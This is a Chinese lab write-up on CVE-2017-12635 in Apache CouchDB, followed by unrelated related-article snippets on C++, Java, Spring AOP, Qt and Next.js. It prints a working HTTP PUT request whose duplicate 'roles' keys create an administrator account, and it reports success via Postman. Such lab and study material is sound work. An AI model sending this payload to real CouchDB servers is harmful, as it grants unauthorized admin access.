vulfocus靶场couchdb 权限绕过 (CVE-2017-12635)

server/2024/9/23 14:25:16/

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

下载postman 工具:https://postman.com/downloads

点击New 点击 HTTP

攻击代码:

PUT /_users/org.couchdb.user:Hacker1 HTTP/1.1
Host: 192.168.30.129:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92{"type": "user","name": "Hacker1","roles": ["_admin"],"roles":[],"password": "123456"
}

我添加的用户为 Hacker,密码为666666,roles为_admin

数据改包前测试:登陆IP:IP:63073/_utils,出现登陆页面,输入用户名和密码,显示错误

postman 点击send后显示成功:


http://www.ppmy.cn/server/9319.html

相关文章

c++ primer plus(1)

前言 本次博客将要通过文字以及代码来介绍 c primer plus 没有C语言基础的放心,我还是会把自己当成傻子,一步一步的来 主要是理解这本书的第二章重点内容,仅仅是笔者自己的鄙见,有问题请指出 OK,开始 第二章 首…

JAVA学习笔记28(常用类)

1.常用类 1.1 包装类 1.包装类的分类 ​ 1.针对八中基本数据类型相应的引用类型–包装类 ​ 2.有了类的特点,就可以调用类中的方法 2.包装类和基本数据类型的转换 ​ *装箱:基本类型 --> 包装类型 //手动装箱 int n1 100; Integer integer ne…

SpringAOP从入门到源码分析大全(三)ProxyFactory源码分析

文章目录 系列文档索引五、ProxyFactory源码分析1、案例2、认识TargetSource(1)何时用到TargetSource(2)Lazy的原理(3)应用TargetSource 3、ProxyFactory选择cglib或jdk动态代理原理4、jdk代理获取代理方法…

Qt QStyle详解

1.简介 QStyle类是 Qt 框架中用于控制应用程序界面元素外观的一个抽象基类。这个类提供了一种方式来定制窗口部件(widgets)的绘制和行为,可以通过改变主题或风格来更改应用程序的外观,而无需修改窗口部件本身的代码。 Qt包含一组…

实习经历总结

一、介绍 大家好,我是秋意零。 昨天算是从公司离职了,现在简单总结一下。 PS:为什么是算是,因为还没签离职协议(审批没走完)以及还需要兼职一段时间。 个人从去年23年7月份开始到如今24年4月份&#xff0…

【华为OD机试】最长连续手牌【C卷|200分】

【华为OD机试】-真题 !!点这里!! 【华为OD机试】真题考点分类 !!点这里 !! 题目描述 有这么一款单人卡牌游戏,牌面由颜色和数字组成,颜色为红、黄、蓝、绿中的一种, 数字为0-9中的一个。游戏开始时玩家从手牌中选取一张卡牌打出,接下来如果玩家手 中有和他上一次打出的手…

Next.js在浏览器中访问env环境变量报错解决方案

报错的代码 .env.local DB_HOSTlocalhost DB_USERmyuser DB_PASSmypasswordenv.js export default function Env() {const dbHost process.env.DB_HOSTconst dbUser process.env.DB_USERconst dbPass process.env.DB_PASSreturn (<div><p>DB Host: {dbHost}<…

AutoSize屏幕适配

Autosize 是 Android 上一种常用的第三方屏幕适配库&#xff0c;它基于一个简单却有效的原理工作&#xff0c;这个原理叫做 “今日头条屏幕适配方案”。Autosize 的核心思想就是按照屏幕宽度&#xff08;或高度&#xff09;的比例来缩放 UI 组件&#xff0c;从而适应不同设备的…